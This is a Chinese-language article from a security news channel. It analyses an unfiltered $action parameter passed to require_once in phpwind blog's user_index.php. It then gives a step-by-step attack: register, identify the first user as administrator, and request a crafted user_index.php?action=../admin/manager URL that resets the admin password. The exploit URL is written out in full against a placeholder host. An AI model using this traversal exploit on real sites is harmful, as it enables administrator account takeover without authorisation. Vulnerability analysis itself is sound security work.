网络安全 频道

phpwind blog漏洞分析与攻击过程

前言:phpwind 是一个非常不错的论坛系统,blog 也是phpwind 小组推出一个子系统。
  PHPWind
是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统.
非常不错的blog系统。前几天看网上发布了相关漏洞利用方法,分析了一下源程序看看什么问题。
原来还是一个老漏洞。白狐同志给写了一个工具,我也就写上了祥细利用漏洞的方法。

分析:

————————————————————————————————————————————————
经过分析
user_index.php 是用来显示用户控制面板的。
$action 主要作用执行不同的php
来显示不同的页面
例如:
$action 空值显示index 主页面
$action=left显示用户控制面板left.php
$action=comment显示用户控制面板comment.php 评论搜索
分析 变量
$action
在本文件中没有做任意处理。
global.php
中只有一句
if(strpos($REQUEST_URI,''?action'')===false)
$ob_check=1;
也不是过滤.以 $action 可以利用的。
require_once(U_P.$action.''.php'');
require_once()
语句在脚本执行期间包含并运行指定文件。
来个例子帮助理解
_________________________________
echo.php
test.php
test.php outputs:
"Hello".
_________________________________
define(''U_P'',''./user/'');
$action=left
require_once(U_P.$action.''.php'');
相当于
require_once(./user/left.php)
当然如果这样看是很正常的,
大家换个思路
我们改成这样的呢?
$action=../user/left
结果是这样的
require_once(./user/../user/left)
等同于
require_once(./user/left.php)
../ 是上一级目录的意思,上一级目录这下面的user 也就是自身
当然,改成
$action=../user/left 没什么意义
我们可以让require_once 去执行我们需要的程序。例如改密码的文件。
admin/manager.php
这个是后台改密码的php文件。
我在这直接给出 manager.php
改密码的格式
manager.php?job=submit&username=root&password=password77169&check_pwd=password77169
改我们大浏览器中改造一下让
require_once去执行
$action=../admin/manager&job=submit&username=root&password=password77169&check_pwd=password77169
require_once(U_P.$action.''.php'');
就是执行如下指令
require_once(/user/../admin/manager.php&job=submit&username=root&password=password77169&check_pwd=password77169)
所以主要问题在于 $action 变量没有过滤,可以跨目录运行程序。这也是一个常见的漏洞。



攻击:

——————————————————————————————————————————————————————————
第一步注册:
打开网站
http://xxxx.77169.com/blog
打开注册页面,
http://xxxx.77169.com/blog/register.php
接着提示注册一个帐号,并登陆,保存cookies
一年
第二步查管理员用户名:
如果查找管理员呢?因为phpwind blog 安装之后,第一个用户就是超级管理员。
所以,浏览 http://xxxx.77169.com//blog/blog.php?uid_1.html
看看管理员的用户名是什么。
如图
1 所示,


我们得知了 管理员的用户名可能是 root
也有另一种可能,第一个帐号不是管理员怎么办呢?
你查一下前十个,一般都有管理员。如果你找不到管理员。那就没办法进入后台了。
第三步改管理员密码:
当我们找到管理员之后,我们要漏洞修改管理员的密码。
http://xxxx.77169.com/blog/user_index.php?action=../admin/manager&job=submit&username=root&password=password77169&check_pwd=password77169
如图


显示成功
完成相应操作
返 回 继 续 操 作
0
相关文章